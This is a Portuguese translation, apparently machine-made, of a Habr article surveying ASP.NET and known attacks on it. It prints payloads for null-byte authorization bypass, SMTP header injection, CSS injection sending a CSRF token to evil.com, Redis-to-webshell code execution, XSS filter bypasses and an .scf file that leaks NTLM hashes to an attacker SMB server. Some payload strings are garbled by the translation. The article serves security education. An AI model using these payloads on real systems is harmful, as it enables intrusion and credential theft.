É possível invadir a infraestrutura ASP?



Como dizem os especialistas em segurança da informação: "Eles quebram tudo, todos e sempre". Ao mesmo tempo, ataques ao ASP.NET são uma coisa rara. Portanto, é sempre extremamente curioso aprender algo novo sobre isso. Sob o corte, a história de Aleksey Morozov, especialista no departamento de segurança da informação do Grupo Rambler, sobre os pontos fortes e fracos dessa tecnologia.

1. Introdução


Hoje, a ASP ganhou popularidade como uma ferramenta para criar projetos de médio e grande porte. E, como qualquer solução popular, o ASP.NET também é de interesse de pesquisadores, hackers e testadores de segurança externa.

Este artigo descreve possíveis problemas de segurança do ASP.NET em várias versões. No entanto, deve-se notar que o ASP é muito inferior no número de soluções para o mesmo PHP, e isso ocorre devido a muitos fatores.

Ao contrário do PHP, o uso do ASP geralmente é muito mais complicado e caro (usando a versão comercial do IIS, o ambiente de desenvolvimento do Visual Studio). Até recentemente (o advento do ASP.NET Core), o uso só era possível no Windows e no servidor web IIS. A implantação também é mais complicada.

ASP ( Active Server Pages ) é a tecnologia da Microsoft para criar páginas dinâmicas.

Descrição: essa tecnologia possibilita a criação de páginas HTML com inserções na linguagem Jscript (muito semelhante ao JavaScript, mas, além dos scripts do cliente, possui várias opções para trabalhar com o sistema operacional Windows e as inserções do servidor no ASP)

Um exemplo :

<% @ Language = "JScript" %><% Response.Write("Hello World!"); %> 

ASP.NET

A próxima rodada de desenvolvimento de tecnologia foi a criação do kernel ASP com base na estrutura .Net. Como resultado, o ASP recebeu todos os recursos desta solução, a saber:

  • uso de diferentes linguagens de programação (C #, Visual Basic.NET, J # e JScript .NET);
  • maior velocidade em comparação com as tecnologias de script, desde a primeira vez que o código é compilado e colocado em um cache especial e, posteriormente, executado apenas, sem exigir análise e otimização demoradas;
  • código compilado que permite capturar melhor os erros, para que o próprio processo de depuração se torne mais eficiente;
  • a capacidade de armazenar em cache a página;
  • separação de apresentação da lógica de negócios.

Com base na solução ASP.NET, as seguintes tecnologias foram criadas, as quais consideraremos.

ASP.NET Ajax é uma das extensões do ASP.NET que permite usar o Ajax para atualizar de forma assíncrona parte do conteúdo.

Um exemplo :

 <asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel> 

ASP.NET Web Forms - uma nova evolução da tecnologia ASP, na qual há uma transição para um modelo orientado a componentes para a criação de aplicativos.

Descrição:

O modelo de formulários da Web é baseado em três conceitos básicos: postagem de página, estado de exibição e controles do servidor. Cada solicitação HTTP enviada ao servidor da Web e mapeada para o tempo de execução do ASP.NET passa por vários estágios nos quais o processamento do evento de postagem é o centro das atenções. O evento de postagem é a principal ação que o usuário espera receber como resultado do processamento de sua solicitação. (por exemplo, clique em um botão).

Simplificando, existem controles (controles) tradicionais e um modelo de desenvolvimento orientado a eventos.

Um exemplo :

A visualização (arquivo aspx) é o lado do cliente.

 <%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html> 

Processamento lógico (arquivo cs (se estiver usando C #)) - lado do servidor.

 using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } } 

A API da Web do ASP.NET é outra extensão que permite criar serviços de API para desenvolvimento e interação mais convenientes com o aplicativo.

Um exemplo :

 [HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); } 

ASP.NET MVC - o próximo estágio no desenvolvimento da tecnologia ocorre após a separação da lógica de negócios em três componentes do padrão MVC (Model-View-Controller). O mecanismo de barbear também está sendo introduzido e torna-se possível personalizar independentemente os elementos gerenciados do site, o que era muito difícil com os Web Forms.

Vantagens :

  • o gerenciamento de estruturas complexas é facilitado dividindo o aplicativo em um modelo, apresentação e controlador;
  • Os formulários de estado e servidor da visualização não são usados. Isso torna a plataforma MVC ideal para desenvolvedores que precisam de controle completo sobre o comportamento do aplicativo;
  • O circuito principal do controlador no qual as solicitações de aplicativos da web são processadas por meio de um único controlador. Isso permite criar aplicativos que suportam uma infraestrutura de roteamento estendida;
  • Adequado para aplicativos da Web suportados por grandes equipes de desenvolvimento.

Um exemplo :

Ver

 @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html> 

Modelo

 using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } } 

Controlador

 using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } } 

ASP.NET Core - A próxima inovação no ASP.NET está se tornando multiplataforma, com suporte para C # 7.0.
TecnologiaPontos fortesFraquezas
Páginas do servidor ativo, ASPObjetivo comumInterpretado em tempo de execução, suporta "código de espaguete"
Formulários Web ASP.NET 1.0 / 1.1Compilado, interface do usuário, suporta OOPRendimento pesado, HTML complexo, não testável
Formulários da Web do ASP.NET 2.0--
ASP.NET AjaxImplementação do AjaxComplexidade irracional, falta de flexibilidade
Formulários da Web do ASP.NET 3.5-4.0--
ASP.NET MVC 1.0-5.0O modelo de desenvolvimento está mudando completamente. Existe flexibilidadeA falta de plataforma cruzada. Não foi possível compilar em tempo real
ASP.NET CoreAparece a plataforma cruzada. Código aberto-

Autenticação no ASP.NET


Existem três tipos de autenticação no ASP.NET MVC que são significativamente diferentes entre si.

  • Sem autenticação: identidade do ASP.NET e nenhum sistema de autenticação interno;
  • Contas de usuários individuais: o projeto, por padrão, inclui o sistema de identidade do ASP.NET, que permite autorizar usuários dentro do aplicativo e usar serviços externos, como google, twitter, etc.
  • Contas Organizacionais: adequadas para sites e aplicativos da Web de empresas e organizações individuais;
  • Autenticação do Windows: um sistema de autenticação para redes da intranet usando contas do Windows.



ASP.NET em termos de hackers


Como qualquer tecnologia, o ASP.NET foi invadido. A seguir, descreveremos os estudos de segurança mais populares, incluindo não apenas o ASP, mas também em conjunto com a infraestrutura.

Estatísticas CVE



Como pode ser visto na tabela, as estatísticas sobre as descobertas são muito poucas. Isso ocorre porque o ASP.NET requer um bom conhecimento para examiná-lo em detalhes. E também os recursos nele são muito menos do que no mesmo PHP.

Usando um byte nulo para ignorar a autorização

CVE: CVE-2011-3416
Descrição: é possível ignorar a autorização.

Algoritmo:

  1. Registre uma nova conta com um nome de usuário existente;
  2. Ao se registrar, adicione bytes nulos e caracteres adicionais (admin% 0012sd);
  3. Assim, a verificação de exclusividade será aprovada. Um novo usuário "admin" será criado com a mesma função, mas com uma nova senha.

Exemplo de código vulnerável :

 If (IsPostBack) { String name = Request.Form[“name”]; String password = Request.Form[“password”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[“ReturnUrl”] ?? “/”); } Else { ModelState.AddModeError(“fail”, “   .” + “   ”); } } 

Prova de conceito :


Solução: este erro foi corrigido no .Net 3.5

Depuração remota

Descrição: como o ASP.NET é um aplicativo compilado, ele possui certos recursos de depuração. A Microsoft permite que você use um depurador remoto para trabalhar na versão de depuração do aplicativo.

Se essa porta estiver aberta na Internet e protegida por uma senha simples ou se não houver senha, será possível escolher um depurador. Além disso, isso permitirá que você influencie o aplicativo no modo DEBUG. Incluindo a retirada de senhas, alteração de lógica, condução de rastreamento etc.

Prova de conceito :



Solução: use uma senha forte e não exponha o serviço para depuração.

Injeção de cabeçalho SMTP

Descrição: você precisa recuperar uma pequena especificação do protocolo SMTP.
Um exemplo de como é um pacote de mensagens simples SMTP comum:

 Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32  Lunch today? 

Obviamente, na ausência de validação do valor no cabeçalho "Para", é possível redirecionar a carta para outro destinatário. Mas isso seria muito simples e óbvio, então a validação já está acontecendo no nível .Net.

No entanto, se você introduzir um novo cabeçalho Reply-To - um endereço para respostas, muitos formulários, como "Senha esquecida", geralmente recebem o endereço de envio, portanto, basta introduzir caracteres de retorno de carro e avanço de linha e obter uma carga de trabalho.

 ... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ...      : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> 

Exemplo de código vulnerável:

 MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m); 

Prova de conceito :


Solução: não escreva código complexo, use .Net fresco

RCE em vista parcial

Descrição: existem dois conceitos importantes na terminologia do ASP.NET MVC:
View é a visão que o usuário vê. Como já observado, graças aos mecanismos de barbear ou de formulários da web, é possível implementar o código do lado do servidor.
Vista Parcial - Vista Parcial . Isso faz parte do conteúdo da visualização, retirado em um arquivo separado por conveniência.

É necessário ter algum campo na Vista Parcial, renderizada em html, e na qual é possível inserir uma carga perigosa.

Exemplo de carregamento: obtendo a senha do usuário atual

 @((Account.Models.User)Session[“User”].Password 

Como resultado da entrada no modo de exibição, esse código será executado. Uma vez que as diretivas serão reconhecidas como um motor de barbear. A figura abaixo mostra como isso acontece.

Algoritmo:

  1. O usuário faz uma solicitação ao controlador;
  2. O controlador renderiza a View;
  3. Dentro da Vista, uma Vista Parcial é encontrada, após a qual uma solicitação é novamente feita ao controlador, responsável por renderizar a vista parcial;
  4. A Vista Parcial finalizada é retornada ao primário e o primário ao usuário.



Prova de conceito :



Um exemplo simplificado :

 @{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view –   @model string @{ Layout = null; } @Model Index view –   @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); } 

Prova de conceito :



PS A tentativa de reprodução não tem êxito.

Injeção de CSRF e CSS

Essas vulnerabilidades implicam interação com o usuário.

CSRF ( falsificação de solicitação entre sites ) - falsificação de solicitação entre sites.

Algoritmo:

  1. O usuário chega ao site do hacker;
  2. Preenche os campos do formulário;
  3. Os dados do formulário são enviados para outro site em nome do usuário e com sua função;
  4. Assim, o usuário, sem perceber, executou algumas ações em outro recurso.

Para se proteger contra esse tipo de ataque, os tokens de CSRF foram inventados, como regra, essa é uma sequência que contém uma sequência de caracteres.

Foi encontrada uma vulnerabilidade que contornava a proteção contra o CSRF. Era apenas necessário usar uma string muito menor que a original como um token.

Token regular

 <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" /> 

Token vulnerável

 <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" /> 

A carga para roubar o token através do CSS (não do XSS):
Caso o truncamento do token não ajude, você pode recorrer ao ataque de injeção de CSS, que permite roubar o token da página e desenhá-lo em seu recurso. Graças a isso, um token real é fornecido ao usuário e a solicitação necessária no site é feita em seu nome.

Exemplo de carregamento :

 %0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;} 

XXE no DocX

Descrição: o ASP.NET, como outras tecnologias, usa muitas soluções de terceiros. Em uma dessas soluções integradas ao ASP.NET, foi encontrada a vulnerabilidade XXE (XML External Entities), que consiste em um erro do analisador xml e na capacidade de conectar entidades externas que podem conter dados críticos. Leia mais sobre XXE nas páginas da OWASP .

Nesse caso, o componente é responsável por carregar e analisar arquivos docx (Microsoft World). Como qualquer documento do Office é realmente um conjunto de arquivos xml, a análise pode levar a um ataque XXE.

Algoritmo:

  1. Documento de escritório descompactado;
  2. A carga está sendo introduzida;
  3. Ele é compactado como docx;
  4. Ele é derramado no servidor para processamento, onde um componente vulnerável é usado.

Prova de conceito :



RCE via Redis

Descrição: além dos componentes vulneráveis, o hacking do ASP.NET pode ser combinado com tecnologias vulneráveis. Por exemplo, é conhecida uma vulnerabilidade de longa data no sistema de armazenamento Redis RAM, que permite que códigos arbitrários sejam executados no servidor. Em seguida, esse ataque será considerado em relação ao ASP.

Algoritmo:

  1. Conexão com Redis. É importante que ele seja executado no mesmo servidor que o servidor web;
  2. Executando a listagem a seguir e usando um servidor da web para visualizar a página resultante, um código arbitrário será executado. Nesse caso, chamando a calculadora:

 config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save 

Prova de conceito :



Filtro XSS ByPass

O ASP.NET possui seu próprio mecanismo para filtrar dados de ataques da classe XSS. Quando você tenta transferir caracteres ou assinaturas proibidos, a seguinte proteção é acionada:



No entanto, existem muitas maneiras de contornar essa proteção. Aqui estão alguns deles:

  • % EF% BC% 9Cimg% 20src% 3Dxxx% 20onerror% alerta 3D (1) % EF% BC% 9E
  • alerta <- / script> (1) ;
  • </ XSS / * - * / STYLE = xss: e / ** / xpression ( alerta ('XSS') )>
  • % uff1cscript% alerta uff1e ('XSS') ;% uff1c / script% uff1e

Nas versões recentes, esses métodos não funcionam mais, no entanto, como já mencionado, a tecnologia ASP.NET foi criada principalmente para projetos grandes e longos, por isso muitos outros recursos podem ser afetados por essa vulnerabilidade.

Arquivo de comando do Shell

Descrição: há pouco tempo, uma vulnerabilidade relacionada ao navegador Google Chrome trovejou, cuja essência é roubar o hash NTLM do usuário.

Algoritmo:

1) Um arquivo é preparado com a extensão scf e o seguinte conteúdo

 [Shell] IconFile=\\***.**.*.***\icon 

onde, em vez de asteriscos, ip é o endereço do servidor smb do atacante;

2) Quando chega ao computador do usuário, esse arquivo nem precisa ser aberto. Basta que o usuário vá simplesmente para a mesma pasta em que esse arquivo está localizado. Assim que isso acontecer, um pacote de hash será enviado ao servidor SMB;

3) Assim, o hacking de infraestrutura também pode ser combinado com vulnerabilidades simples, como o Redirecionamento Aberto.

Prova de conceito :




Obrigado pela atenção! Compartilhe sua experiência e deixe perguntas para Alexei Morozov (também conhecido como SoolFaa ) nos comentários deste artigo.

Source: https://habr.com/ru/post/pt413649/


All Articles